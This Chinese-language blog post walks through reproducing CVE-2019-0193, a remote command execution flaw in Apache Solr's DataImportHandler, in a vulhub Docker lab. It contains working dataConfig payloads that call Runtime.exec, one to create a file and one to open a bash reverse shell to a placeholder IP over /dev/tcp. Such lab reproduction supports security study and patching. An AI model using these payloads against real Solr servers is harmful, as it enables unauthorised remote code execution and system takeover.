solr远程命令执行-CVE-2019-0193

Apache Solr 是一个开源的搜索服务器。Solr 使用 Java 语言开发,主要基于 HTTP 和 Apache Lucene 实现。此次漏洞出现在 Apache Solr 的 DataImportHandler,该模块是一个可选但常用的模块,用于从数据库和其他源中提取数据。它具有一个功能,其中所有的 DIH 配置都可以通过外部请求的dataConfig参数来设置。由于 DIH 配置可以包含脚本,因此攻击者可以通过构造危险的请求,从而造成远程命令执行。

影响范围

  • Apache Solr < 8.2.0

环境搭建

使用 vulnhub 搭建

docker-compose up -d
# 创建 test core
docker-compose exec solr bash bin/solr create_core -c test -d example/example-DIH/solr/db

打开 8983 端口即可看到 Apache solr 的管理界面

testcore.jpg

前置知识

先了解下/solr/{core}/dataimport,该API的作用是将数据全量/增量导入到solr中,更详细解释在:

其中ScriptTransformer可以编写自定义脚本,支持常见的脚本语言如Javascript、JRuby、Jython、Groovy和BeanShell;整个漏洞就是因为可以通过<script>标签指定ScriptTransformer,而在这个标签内可以导入任意的java类,Solr也并没有对标签内容做限制,导致可以执行任意代码。

ScriptTransformer 容许用脚本语言如 Javascript、JRuby、Jython、Groovy 和 BeanShell 转换,函数应当以行(类型为Map<String,Object>)为参数,可以修改字段。脚本应当写在数据仓库配置文件顶级的 script 元素内,而转换器属性值为script:函数名。

利用条件

  • Apache Solr 的 DataImportHandler 启用了模块 DataImportHandler (默认情况下该模块不会被启用)
  • Solr Admin UI 未开启鉴权认证。(默认情况下打开 web 界面无需任何认证)

漏洞复现

  1. 进入我们创建的 core 界面,选择 Dataimport 并且打开 Debug-Mode 模块

debug.jpg

  1. 创建文件 payload
    创建文件
<dataConfig>
  <dataSource type="URLDataSource"/>
  <script><![CDATA[
          function poc(){ java.lang.Runtime.getRuntime().exec("touch /tmp/success");
          }
  ]]></script>
  <document>
    <entity name="stackoverflow"
            url="https://stackoverflow.com/feeds/tag/solr"
            processor="XPathEntityProcessor"
            forEach="/feed"
            transformer="script:poc" />
  </document>
</dataConfig>
  1. 反弹 shell payload
    反弹 shell,在网上流传着硬编码后的 payload ,我测试了是没法反弹 shell 的,可能是因为版本差异吧。
<dataConfig>
<dataSource type="URLDataSource"/>
  <script><![CDATA[ 
      java.lang.Runtime.getRuntime().exec("/bin/bash -c $@|bash 0 echo bash -i >&/dev/tcp/xxx.xxx.xxx.xxx/4444 0>&1");
  ]]></script>
  <document>
    <entity name="a"
            url="https://stackoverflow.com/feeds/tag/solr"
            processor="XPathEntityProcessor"
            forEach="/feed"
            transformer="script:" />
  </document>
</dataConfig>

rev_shell.jpg

参考:
https://mp.weixin.qq.com/s/typLOXZCev_9WH_Ux0s6oA
https://anemone.top/vulnresearch-Solr_DataImportHandler_RCE/
https://mp.weixin.qq.com/s/typLOXZCev_9WH_Ux0s6oA
https://mp.weixin.qq.com/s/diF7HOf3wuSjBeoIb7qLCA

原文地址:https://www.cnblogs.com/w0x68y/p/14252384.html